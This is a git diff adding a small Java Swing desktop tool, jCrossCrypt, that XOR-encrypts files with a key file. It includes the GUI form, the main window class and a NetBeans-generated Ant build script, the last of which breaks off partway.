+      <Group type="103" groupAlignment="0" attributes="0">
+          <Group type="102" alignment="0" attributes="0">
+              <EmptySpace max="-2" attributes="0"/>
+              <Group type="103" groupAlignment="3" attributes="0">
+                  <Component id="jButton1" alignment="3" min="-2" max="-2" attributes="0"/>
+                  <Component id="jTextField1" alignment="3" min="-2" pref="24" max="-2" attributes="0"/>
+              </Group>
+              <EmptySpace max="-2" attributes="0"/>
+              <Group type="103" groupAlignment="0" attributes="0">
+                  <Group type="102" attributes="0">
+                      <Group type="103" groupAlignment="3" attributes="0">
+                          <Component id="jTextField2" alignment="3" pref="25" max="32767" attributes="1"/>
+                          <Component id="jButton5" alignment="3" min="-2" max="-2" attributes="0"/>
+                      </Group>
+                      <EmptySpace min="-2" pref="6" max="-2" attributes="0"/>
+                  </Group>
+                  <Group type="102" alignment="0" attributes="0">
+                      <Component id="jButton2" min="-2" max="-2" attributes="1"/>
+                      <EmptySpace max="-2" attributes="0"/>
+                  </Group>
+              </Group>
+              <EmptySpace max="-2" attributes="0"/>
+              <Group type="103" groupAlignment="0" max="-2" attributes="0">
+                  <Component id="jTextField3" max="32767" attributes="1"/>
+                  <Component id="jButton3" alignment="0" max="32767" attributes="1"/>
+              </Group>
+              <EmptySpace max="-2" attributes="0"/>
+              <Component id="jButton4" min="-2" pref="26" max="-2" attributes="0"/>
+              <EmptySpace max="-2" attributes="0"/>
+              <Component id="jTextField4" min="-2" max="-2" attributes="0"/>
+              <EmptySpace min="-2" max="-2" attributes="0"/>
+          </Group>
+      </Group>
+    </DimensionLayout>
+  </Layout>
+  <SubComponents>
+    <Component class="javax.swing.JButton" name="jButton1">
+      <Properties>
+        <Property name="text" type="java.lang.String" value="Input"/>
+      </Properties>
+      <Events>
+        <EventHandler event="mouseClicked" listener="java.awt.event.MouseListener" parameters="java.awt.event.MouseEvent" handler="jButton1MouseClicked"/>
+      </Events>
+    </Component>
+    <Component class="javax.swing.JTextField" name="jTextField1">
+    </Component>
+    <Component class="javax.swing.JButton" name="jButton2">
+      <Properties>
+        <Property name="text" type="java.lang.String" value="Output"/>
+      </Properties>
+      <Events>
+        <EventHandler event="mouseClicked" listener="java.awt.event.MouseListener" parameters="java.awt.event.MouseEvent" handler="jButton2MouseClicked"/>
+      </Events>
+    </Component>
+    <Component class="javax.swing.JTextField" name="jTextField2">
+    </Component>
+    <Component class="javax.swing.JButton" name="jButton3">
+      <Properties>
+        <Property name="text" type="java.lang.String" value="Key"/>
+      </Properties>
+      <Events>
+        <EventHandler event="mouseClicked" listener="java.awt.event.MouseListener" parameters="java.awt.event.MouseEvent" handler="jButton3MouseClicked"/>
+      </Events>
+    </Component>
+    <Component class="javax.swing.JTextField" name="jTextField3">
+    </Component>
+    <Component class="javax.swing.JButton" name="jButton4">
+      <Properties>
+        <Property name="text" type="java.lang.String" value="Start"/>
+      </Properties>
+      <Events>
+        <EventHandler event="mouseClicked" listener="java.awt.event.MouseListener" parameters="java.awt.event.MouseEvent" handler="crypt"/>
+      </Events>
+    </Component>
+    <Component class="javax.swing.JTextField" name="jTextField4">
+      <Properties>
+        <Property name="editable" type="boolean" value="false"/>
+        <Property name="text" type="java.lang.String" value="Waiting..."/>
+      </Properties>
+    </Component>
+    <Component class="javax.swing.JButton" name="jButton5">
+      <Properties>
+        <Property name="text" type="java.lang.String" value=".ccr"/>
+      </Properties>
+      <Events>
+        <EventHandler event="mouseClicked" listener="java.awt.event.MouseListener" parameters="java.awt.event.MouseEvent" handler="jButton5MouseClicked"/>
+      </Events>
+    </Component>
+  </SubComponents>
+</Form>
diff --git a/java/jCrossCrypt/src/crosscrypt/hlavokno.java b/java/jCrossCrypt/src/crosscrypt/hlavokno.java
new file mode 100644 (file)
index 0000000..62fa4c1
--- /dev/null
@@ -0,0 +1,241 @@
+import java.io.*;
+
+/*
+ * hlavokno.java
+ *
+ * Created on 24. září 2007, 0:37
+ */
+
+/**
+ *
+ * @author  harvie
+ */
+public class hlavokno extends javax.swing.JFrame {
+    
+    /** Creates new form hlavokno */
+    public hlavokno () {
+        initComponents ();
+    }
+    
+    /** This method is called from within the constructor to
+     * initialize the form.
+     * WARNING: Do NOT modify this code. The content of this method is
+     * always regenerated by the Form Editor.
+     */
+    // <editor-fold defaultstate="collapsed" desc=" Generated Code ">//GEN-BEGIN:initComponents
+    private void initComponents() {
+        jDialog1 = new javax.swing.JDialog();
+        jFileChooser1 = new javax.swing.JFileChooser();
+        jButton1 = new javax.swing.JButton();
+        jTextField1 = new javax.swing.JTextField();
+        jButton2 = new javax.swing.JButton();
+        jTextField2 = new javax.swing.JTextField();
+        jButton3 = new javax.swing.JButton();
+        jTextField3 = new javax.swing.JTextField();
+        jButton4 = new javax.swing.JButton();
+        jTextField4 = new javax.swing.JTextField();
+        jButton5 = new javax.swing.JButton();
+
+        jFileChooser1.setCurrentDirectory(null);
+
+        org.jdesktop.layout.GroupLayout jDialog1Layout = new org.jdesktop.layout.GroupLayout(jDialog1.getContentPane());
+        jDialog1.getContentPane().setLayout(jDialog1Layout);
+        jDialog1Layout.setHorizontalGroup(
+            jDialog1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING)
+            .add(jFileChooser1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)
+        );
+        jDialog1Layout.setVerticalGroup(
+            jDialog1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING)
+            .add(jFileChooser1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)
+        );
+
+        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
+        setTitle("One-time pad (XOR) symetric encryption [<-Harvie 2oo7]");
+        jButton1.setText("Input");
+        jButton1.addMouseListener(new java.awt.event.MouseAdapter() {
+            public void mouseClicked(java.awt.event.MouseEvent evt) {
+                jButton1MouseClicked(evt);
+            }
+        });
+
+        jButton2.setText("Output");
+        jButton2.addMouseListener(new java.awt.event.MouseAdapter() {
+            public void mouseClicked(java.awt.event.MouseEvent evt) {
+                jButton2MouseClicked(evt);
+            }
+        });
+
+        jButton3.setText("Key");
+        jButton3.addMouseListener(new java.awt.event.MouseAdapter() {
+            public void mouseClicked(java.awt.event.MouseEvent evt) {
+                jButton3MouseClicked(evt);
+            }
+        });
+
+        jButton4.setText("Start");
+        jButton4.addMouseListener(new java.awt.event.MouseAdapter() {
+            public void mouseClicked(java.awt.event.MouseEvent evt) {
+                crypt(evt);
+            }
+        });
+
+        jTextField4.setEditable(false);
+        jTextField4.setText("Waiting...");
+
+        jButton5.setText(".ccr");
+        jButton5.addMouseListener(new java.awt.event.MouseAdapter() {
+            public void mouseClicked(java.awt.event.MouseEvent evt) {
+                jButton5MouseClicked(evt);
+            }
+        });
+
+        org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane());
+        getContentPane().setLayout(layout);
+        layout.setHorizontalGroup(
+            layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING)
+            .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup()
+                .addContainerGap()
+                .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING)
+                    .add(org.jdesktop.layout.GroupLayout.LEADING, jButton4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 467, Short.MAX_VALUE)
+                    .add(org.jdesktop.layout.GroupLayout.LEADING, layout.createSequentialGroup()
+                        .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING)
+                            .add(jButton3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)
+                            .add(org.jdesktop.layout.GroupLayout.LEADING, jButton2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
+                            .add(org.jdesktop.layout.GroupLayout.LEADING, jButton1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE))
+                        .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)
+                        .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING)
+                            .add(jTextField3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 383, Short.MAX_VALUE)
+                            .add(org.jdesktop.layout.GroupLayout.LEADING, jTextField1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 383, Short.MAX_VALUE)
+                            .add(layout.createSequentialGroup()
+                                .add(jTextField2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 323, Short.MAX_VALUE)
+                                .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)
+                                .add(jButton5))))
+                    .add(org.jdesktop.layout.GroupLayout.LEADING, jTextField4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 467, Short.MAX_VALUE))
+                .addContainerGap())
+        );
+        layout.setVerticalGroup(
+            layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING)
+            .add(layout.createSequentialGroup()
+                .addContainerGap()
+                .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE)
+                    .add(jButton1)
+                    .add(jTextField1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 24, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))
+                .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)
+                .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING)
+                    .add(layout.createSequentialGroup()
+                        .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE)
+                            .add(jTextField2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 25, Short.MAX_VALUE)
+                            .add(jButton5))
+                        .add(6, 6, 6))
+                    .add(layout.createSequentialGroup()
+                        .add(jButton2)
+                        .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)))
+                .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)
+                .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false)
+                    .add(jTextField3)
+                    .add(jButton3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
+                .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)
+                .add(jButton4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 26, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)
+                .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED)
+                .add(jTextField4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)
+                .addContainerGap())
+        );
+        pack();
+    }// </editor-fold>//GEN-END:initComponents
+
+    private void crypt (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_crypt
+// TODO crypt code here:
+       
+        jTextField4.setText("Working...");
+        //jProgressBar1.setValue(0);
+        
+        if(jTextField1.getText().equals(jTextField2.getText())) { jTextField4.setText("Output to Input - Can't do this!"); return; }
+        
+        try { 
+            if( !(new File(jTextField1.getText()).isFile()) ) { jTextField4.setText("Input file not found!"); return; }
+            if( !(new File(jTextField3.getText()).isFile()) ) { jTextField4.setText("Key file not found!"); return; }
+            if( new File(jTextField2.getText()).isFile() ) { jTextField4.setText("Working (Rewriting output file)..."); }
+            long size = (new File(jTextField1.getText()).length());
+            long keysize = (new File(jTextField3.getText()).length());
+            long pos = 0;
+            
+            BufferedInputStream in = new BufferedInputStream(new FileInputStream(jTextField1.getText()));
+            BufferedInputStream key = new BufferedInputStream(new FileInputStream(jTextField3.getText()));
+            BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(jTextField2.getText()));
+            
+            //Alghorythm
+            int inb, keyb, progress;
+            while((inb = in.read()) != -1) {
+                while((keyb = key.read()) == -1 /*|| keyb == 0x0A*/ ) {
+                  key.close();
+                  key = new BufferedInputStream(new FileInputStream(jTextField3.getText()));
+                }
+                out.write(inb^keyb);
+                //pos++;
+                //jProgressBar1.setValue((int)((pos/size)*100));
+            }
+            
+            out.close();
+            in.close();
+            key.close();
+            
+            jTextField4.setText("Waiting... ["+size+" b (en|de)crypted using "+keysize+" b key]");
+        } catch(Exception e) { jTextField4.setText("I/O Error!"); }
+    }//GEN-LAST:event_crypt
+
+    private void jButton5MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton5MouseClicked
+// TODO add your handling code here:
+        jTextField2.setText(jTextField2.getText()+".ccr");
+    }//GEN-LAST:event_jButton5MouseClicked
+
+    private void jButton3MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton3MouseClicked
+// TODO add your handling code here:
+        int returnVal = jFileChooser1.showOpenDialog(jDialog1);
+        if(jFileChooser1.getSelectedFile() != null) {
+           jTextField3.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName());
+        }
+    }//GEN-LAST:event_jButton3MouseClicked
+
+    private void jButton2MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton2MouseClicked
+// TODO add your handling code here:
+        int returnVal = jFileChooser1.showOpenDialog(jDialog1);
+        if(jFileChooser1.getSelectedFile() != null) {
+           jTextField2.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName());
+        }
+    }//GEN-LAST:event_jButton2MouseClicked
+
+    private void jButton1MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton1MouseClicked
+// TODO add your handling code here:
+        int returnVal = jFileChooser1.showOpenDialog(jDialog1);
+        if(jFileChooser1.getSelectedFile() != null) {
+           jTextField1.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName());
+           jTextField2.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName());
+        }
+    }//GEN-LAST:event_jButton1MouseClicked
+    
+    /**
+     * @param args the command line arguments
+     */
+    public static void main (String args[]) {
+        java.awt.EventQueue.invokeLater (new Runnable () {
+            public void run () {
+                new hlavokno ().setVisible (true);
+            }
+        });
+    }
+    
+    // Variables declaration - do not modify//GEN-BEGIN:variables
+    private javax.swing.JButton jButton1;
+    private javax.swing.JButton jButton2;
+    private javax.swing.JButton jButton3;
+    private javax.swing.JButton jButton4;
+    private javax.swing.JButton jButton5;
+    private javax.swing.JDialog jDialog1;
+    private javax.swing.JFileChooser jFileChooser1;
+    private javax.swing.JTextField jTextField1;
+    private javax.swing.JTextField jTextField2;
+    private javax.swing.JTextField jTextField3;
+    private javax.swing.JTextField jTextField4;
+    // End of variables declaration//GEN-END:variables
+    
+}
diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml
new file mode 100644 (file)
index 0000000..3292c97
--- /dev/null
@@ -0,0 +1,594 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+*** GENERATED FROM project.xml - DO NOT EDIT  ***
+***         EDIT ../build.xml INSTEAD         ***
+
+For the purpose of easier reading the script
+is divided into following sections:
+
+  - initialization
+  - compilation
+  - jar
+  - execution
+  - debugging
+  - javadoc
+  - junit compilation
+  - junit execution
+  - junit debugging
+  - applet
+  - cleanup
+
+-->
+<project name="crosscrypt-impl" default="default" basedir=".." xmlns:bluejproject="http://www.netbeans.org/ns/bluej-project/2">
+    <target name="default" depends="test,jar,javadoc" description="Build and test whole project."/>
+    <!-- 
+    ======================
+    INITIALIZATION SECTION 
+    ======================
+    -->
+    <target name="-pre-init">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="-init-private" depends="-pre-init">
+        <property file="nbproject/private/private.properties"/>
+    </target>
+    <target name="-init-user" depends="-pre-init,-init-private">
+        <property file="${user.properties.file}"/>
+        <!-- The two properties below are usually overridden -->
+        <!-- by the active platform. Just a fallback. -->
+        <property name="default.javac.source" value="1.4"/>
+        <property name="default.javac.target" value="1.4"/>
+    </target>
+    <target name="-init-project" depends="-pre-init,-init-private,-init-user">
+        <property file="nbproject/project.properties"/>
+    </target>
+    
+    <target name="-init-bluej" depends="-do-init" if="bluej.home.available">
+            <fileset dir="${bluej.userlib}" id="bluej.home.libraries">
+                <include name="*.jar"/>
+                <include name="*.zip"/>
+            </fileset>
+        <pathconvert property="bluej.libraries" refid="bluej.home.libraries"/>
+    </target>
+    
+    <target name="-do-init" depends="-pre-init,-init-private,-init-user,-init-project,-init-macrodef-property">
+        <condition property="bluej.home.available">
+            <and>
+                <isset property="bluej.userlib"/>
+                <available file="${bluej.userlib}"/>
+            </and>
+        </condition>
+        
+        <condition property="main.class.available">
+            <and>
+                <isset property="main.class"/>
+                <not>
+                    <equals arg1="${main.class}" arg2="" trim="true"/>
+                </not>
+            </and>
+        </condition>
+        <available file="${manifest.file}" property="manifest.available"/>
+        <condition property="manifest.available+main.class">
+            <and>
+                <isset property="manifest.available"/>
+                <istrue value="${main.class.available}"/>
+            </and>
+        </condition>
+        <condition property="manifest.available+main.class+mkdist.available">
+            <and>
+                <istrue value="${manifest.available+main.class}"/>
+                <isset property="libs.CopyLibs.classpath"/>
+            </and>
+        </condition>
+        <condition property="have.tests">
+            <or>
+                <available file="${test.src.dir}"/>
+            </or>
+        </condition>
+        <condition property="have.sources">
+            <or>
+                <available file="${src.dir}"/>
+            </or>
+        </condition>
+        <condition property="netbeans.home+have.tests">
+            <and>
+                <isset property="netbeans.home"/>
+                <isset property="have.tests"/>
+            </and>
+        </condition>
+        <condition property="no.javadoc.preview">
+            <isfalse value="${javadoc.preview}"/>
+        </condition>
+        <property name="run.jvmargs" value=""/>
+        <property name="javac.compilerargs" value=""/>
+        <property name="work.dir" value="${basedir}"/>
+        <condition property="no.deps">
+            <and>
+                <istrue value="${no.dependencies}"/>
+            </and>
+        </condition>
+        <property name="javac.debug" value="true"/>
+        <property name="javadoc.preview" value="true"/>
+    </target>
+    <target name="-post-init">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="-init-check" depends="-pre-init,-init-private,-init-user,-init-project,-do-init">
+        <fail unless="src.dir">Must set src.dir</fail>
+        <fail unless="test.src.dir">Must set test.src.dir</fail>
+        <fail unless="build.dir">Must set build.dir</fail>
+        <fail unless="dist.dir">Must set dist.dir</fail>
+        <fail unless="build.classes.dir">Must set build.classes.dir</fail>
+        <fail unless="dist.javadoc.dir">Must set dist.javadoc.dir</fail>
+        <fail unless="build.test.classes.dir">Must set build.test.classes.dir</fail>
+        <fail unless="build.test.results.dir">Must set build.test.results.dir</fail>
+        <fail unless="build.classes.excludes">Must set build.classes.excludes</fail>
+        <fail unless="dist.jar">Must set dist.jar</fail>
+    </target>
+    <target name="-init-macrodef-property">
+        <macrodef name="property" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <attribute name="name"/>
+            <attribute name="value"/>
+            <sequential>
+                <property name="@{name}" value="${@{value}}"/>
+            </sequential>
+        </macrodef>
+    </target>
+    <target name="-init-macrodef-javac">
+        <macrodef name="javac" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <attribute name="srcdir" default="${src.dir}"/>
+            <attribute name="destdir" default="${build.classes.dir}"/>
+            <attribute name="classpath" default="${javac.classpath}"/>
+            <attribute name="debug" default="${javac.debug}"/>
+            <element name="customize" optional="true"/>
+            <sequential>
+                <javac srcdir="@{srcdir}" destdir="@{destdir}" debug="@{debug}" deprecation="${javac.deprecation}" source="${javac.source}" target="${javac.target}" includeantruntime="false">
+                    <classpath>
+                        <path path="@{classpath}"/>
+                        <fileset dir="${basedir}">
+                            <include name="+libs/*.jar"/>
+                            <include name="+libs/*.zip"/>
+                        </fileset>
+                        <path path="${bluej.libraries}"/>
+                        <path path="${bluej.config.libraries}"/>
+                    </classpath>
+                    <compilerarg line="${javac.compilerargs}"/>
+                    <customize/>
+                </javac>
+            </sequential>
+        </macrodef>
+    </target>
+    <target name="-init-macrodef-junit">
+        <macrodef name="junit" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <attribute name="includes" default="**/*Test.java"/>
+            <sequential>
+                <junit showoutput="true" fork="true" dir="${basedir}" failureproperty="tests.failed" errorproperty="tests.failed">
+                    <batchtest todir="${build.test.results.dir}">
+                        <fileset dir="${test.src.dir}" includes="@{includes}"/>
+                    </batchtest>
+                    <classpath>
+                        <path path="${run.test.classpath}"/>
+                        <fileset dir="${basedir}">
+                            <include name="+libs/*.jar"/>
+                            <include name="+libs/*.zip"/>
+                        </fileset>
+                        <path path="${bluej.libraries}"/>
+                        <path path="${bluej.config.libraries}"/>
+
+                        <!--path path="${run.test.classpath}"/-->
+                    </classpath>
+                    <syspropertyset>
+                        <propertyref prefix="test-sys-prop."/>
+                        <mapper type="glob" from="test-sys-prop.*" to="*"/>
+                    </syspropertyset>
+                    <formatter type="brief" usefile="false"/>
+                    <formatter type="xml"/>
+                    <jvmarg line="${run.jvmargs}"/>
+                </junit>
+            </sequential>
+        </macrodef>
+    </target>
+    <target name="-init-macrodef-nbjpda">
+        <macrodef name="nbjpdastart" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <attribute name="name" default="${main.class}"/>
+            <attribute name="classpath" default="${debug.classpath}"/>
+            <attribute name="stopclassname" default=""/>
+            <sequential>
+                <nbjpdastart transport="dt_socket" addressproperty="jpda.address" name="@{name}" stopclassname="@{stopclassname}">
+                    <classpath>
+                        <path path="@{classpath}"/>
+                        <fileset dir="${basedir}">
+                            <include name="+libs/*.jar"/>
+                            <include name="+libs/*.zip"/>
+                        </fileset>
+                        <path path="${bluej.libraries}"/>
+                        <path path="${bluej.config.libraries}"/>
+                    </classpath>
+                </nbjpdastart>
+            </sequential>
+        </macrodef>
+        <macrodef name="nbjpdareload" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <attribute name="dir" default="${build.classes.dir}"/>
+            <sequential>
+                <nbjpdareload>
+                    <fileset includes="${fix.includes}*.class" dir="@{dir}"/>
+                </nbjpdareload>
+            </sequential>
+        </macrodef>
+    </target>
+    <target name="-init-macrodef-debug">
+        <macrodef name="debug" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <attribute name="classname" default="${main.class}"/>
+            <attribute name="classpath" default="${debug.classpath}"/>
+            <element name="customize" optional="true"/>
+            <sequential>
+                <java fork="true" classname="@{classname}" dir="${work.dir}">
+                    <jvmarg value="-Xdebug"/>
+                    <jvmarg value="-Xnoagent"/>
+                    <jvmarg value="-Djava.compiler=none"/>
+                    <jvmarg value="-Xrunjdwp:transport=dt_socket,address=${jpda.address}"/>
+                    <jvmarg line="${run.jvmargs}"/>
+                    <classpath>
+                        <path path="@{classpath}"/>
+                        <fileset dir="${basedir}">
+                            <include name="+libs/*.jar"/>
+                            <include name="+libs/*.zip"/>
+                        </fileset>
+                        <path path="${bluej.libraries}"/>
+                        <path path="${bluej.config.libraries}"/>
+                    </classpath>
+                    <syspropertyset>
+                        <propertyref prefix="run-sys-prop."/>
+                        <mapper type="glob" from="run-sys-prop.*" to="*"/>
+                    </syspropertyset>
+                    <customize/>
+                </java>
+            </sequential>
+        </macrodef>
+    </target>
+    <target name="-init-macrodef-java">
+        <macrodef name="java" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <attribute name="classname" default="${main.class}"/>
+            <element name="customize" optional="true"/>
+            <sequential>
+                <java fork="true" classname="@{classname}" dir="${work.dir}">
+                    <jvmarg line="${run.jvmargs}"/>
+                    <classpath>
+                        <path path="${run.classpath}"/>
+                        <fileset dir="${basedir}">
+                            <include name="+libs/*.jar"/>
+                            <include name="+libs/*.zip"/>
+                        </fileset>
+                        <path path="${bluej.libraries}"/>
+                        <path path="${bluej.config.libraries}"/>
+                    </classpath>
+                    <syspropertyset>
+                        <propertyref prefix="run-sys-prop."/>
+                        <mapper type="glob" from="run-sys-prop.*" to="*"/>
+                    </syspropertyset>
+                    <customize/>
+                </java>
+            </sequential>
+        </macrodef>
+    </target>
+    <target name="-init-presetdef-jar">
+        <presetdef name="jar" uri="http://www.netbeans.org/ns/bluej-project/2">
+            <jar jarfile="${dist.jar}" compress="${jar.compress}">
+                <bluejproject:fileset dir="${build.classes.dir}" excludes="${dist.jar},dist/,doc/,nbproject/,build.xml,**/*.java,**/*.ctxt,**/bluej.pkg"/>
+            </jar>
+        </presetdef>
+    </target>
+    <target name="init" depends="-pre-init,-init-private,-init-user,-init-project,-do-init,-post-init,-init-check,-init-macrodef-property,-init-macrodef-javac,-init-macrodef-junit,-init-macrodef-nbjpda,-init-macrodef-debug,-init-macrodef-java,-init-presetdef-jar, -init-bluej"/>
+    <!--
+    ===================
+    COMPILATION SECTION
+    ===================
+    -->
+    <target name="deps-jar" depends="init" unless="no.deps"/>
+    <target name="-pre-pre-compile" depends="init,deps-jar">
+        <mkdir dir="${build.classes.dir}"/>
+    </target>
+    <target name="-pre-compile">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="-do-compile" depends="init,deps-jar,-pre-pre-compile,-pre-compile" if="have.sources">
+        <bluejproject:javac/>
+        <copy todir="${build.classes.dir}">
+            <fileset dir="${src.dir}" excludes="${build.classes.excludes}"/>
+        </copy>
+    </target>
+    <target name="-post-compile">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="compile" depends="init,deps-jar,-pre-pre-compile,-pre-compile,-do-compile,-post-compile" description="Compile project."/>
+    <target name="-pre-compile-single">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="-do-compile-single" depends="init,deps-jar,-pre-pre-compile">
+        <fail unless="javac.includes">Must select some files in the IDE or set javac.includes</fail>
+        <bluejproject:javac>
+            <customize>
+                <patternset includes="${javac.includes}"/>
+            </customize>
+        </bluejproject:javac>
+    </target>
+    <target name="-post-compile-single">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="compile-single" depends="init,deps-jar,-pre-pre-compile,-pre-compile-single,-do-compile-single,-post-compile-single"/>
+    <!--
+    ====================
+    JAR BUILDING SECTION
+    ====================
+    -->
+    <target name="-pre-pre-jar" depends="init">
+        <dirname property="dist.jar.dir" file="${dist.jar}"/>
+        <mkdir dir="${dist.jar.dir}"/>
+    </target>
+    <target name="-pre-jar">
+        <!-- Empty placeholder for easier customization. -->
+        <!-- You can override this target in the ../build.xml file. -->
+    </target>
+    <target name="-do-jar-without-mainclass" depends="init,compile,-pre-pre-jar,-pre-jar" unless="main.class.available">
+        <bluejproject:jar/>
+    </target>
+    <target name="-do-jar-without-manifest" depends="init,compile,-pre-pre-jar,-pre-jar" if="main.class.available" unless="manifest.available">
+        <bluejproject:jar>
+            <bluejproject:manifest>
+                <bluejproject:attribute name="Main-Class" value="${main.class}"/>
+            </bluejproject:manifest>
+        </bluejproject:jar>
+    </target>
+    <target name="-do-jar-with-manifest" depends="init,compile,-pre-pre-jar,-pre-jar" if="manifest.available" unless="manifest.available+main.class">
+        <bluejproject:jar manifest="${manifest.file}"/>
+    </target>
+    <target name="-do-jar-with-mainclass" depends="init,compile,-pre-pre-jar,-pre-jar" if="manifest.available+main.class" unless="manifest.available+main.class+mkdist.available">
+        <bluejproject:jar manifest="${manifest.file}">
+            <bluejproject:manifest>
+                <bluejproject:attribute name="Main-Class" value="${main.class}"/>
+            </bluejproject:manifest>
+        </bluejproject:jar>
+        <echo>To run this application from the command line without Ant, try:</echo>
+        <property name="build.classes.dir.resolved" location="${build.classes.dir}"/>
+        <property name="dist.jar.resolved" location="${dist.jar}"/>
+        <pathconvert property="run.classpath.with.dist.jar">
+            <path path="${run.classpath}"/>
+            <fileset dir="${basedir}">
+                <include name="+libs/*.jar"/>
+                <include name="+libs/*.zip"/>
+            </fileset>
+            <path path="${bluej.libraries}"/>
+            <path path="${bluej.config.libraries}"/>
+            <map from="${build.classes.dir.resolved}" to="${dist.jar.resolved}"/>
+        </pathconvert>
+        <echo>java -cp "${run.classpath.with.dist.jar}" ${main.class}</echo>
+    </target>
+    <target name="-do-jar-with-libraries" depends="init,compile,-pre-pre-jar,-pre-jar" if="manifest.available+main.class+mkdist.available">
+        <property name="build.classes.dir.resolved" location="${build.classes.dir}"/>
+        <pathconvert property="run.classpath.without.build.classes.dir">
+            <path path="${run.classpath}"/>
+            <fileset dir="${basedir}">
+                <include name="+libs/*.jar"/>
+                <include name="+libs/*.zip"/>
+            </fileset>
+            <path path="${bluej.libraries}"/>
+            <path path="${bluej.config.libraries}"/>
+            <map from="${build.classes.dir.resolved}" to=""/>
+        </pathconvert>
+        <pathconvert property="jar.classpath" pathsep=" ">
+            <path path="${run.classpath.without.build.classes.dir}"/>
+            <chainedmapper>
+                <flattenmapper/>
+                <globmapper from="*" to="lib/*"/>
+            </chainedmapper>
+        </pathconvert>
+        <taskdef classname="org.netbeans.modules.java.j2seproject.copylibstask.CopyLibs" name="copylibs" classpath="${libs.CopyLibs.classpath}"/>
+        <copylibs manifest="${manifest.file}" runtimeclasspath="${run.classpath.without.build.classes.dir}" jarfile="${dist.jar}" compress="${jar.compress}">
+            <fileset dir="${build.classes.dir}" excludes="${dist.jar}"/>
+            <manifest>
+                <attribute name="Main-Class" value="${main.class}"/>
+                <attribute name="Class-Path" value="${jar.classpath}"/>
+            </manifest>
+        </copylibs>
+        <echo>To run this application from the command line without Ant, try:</echo>
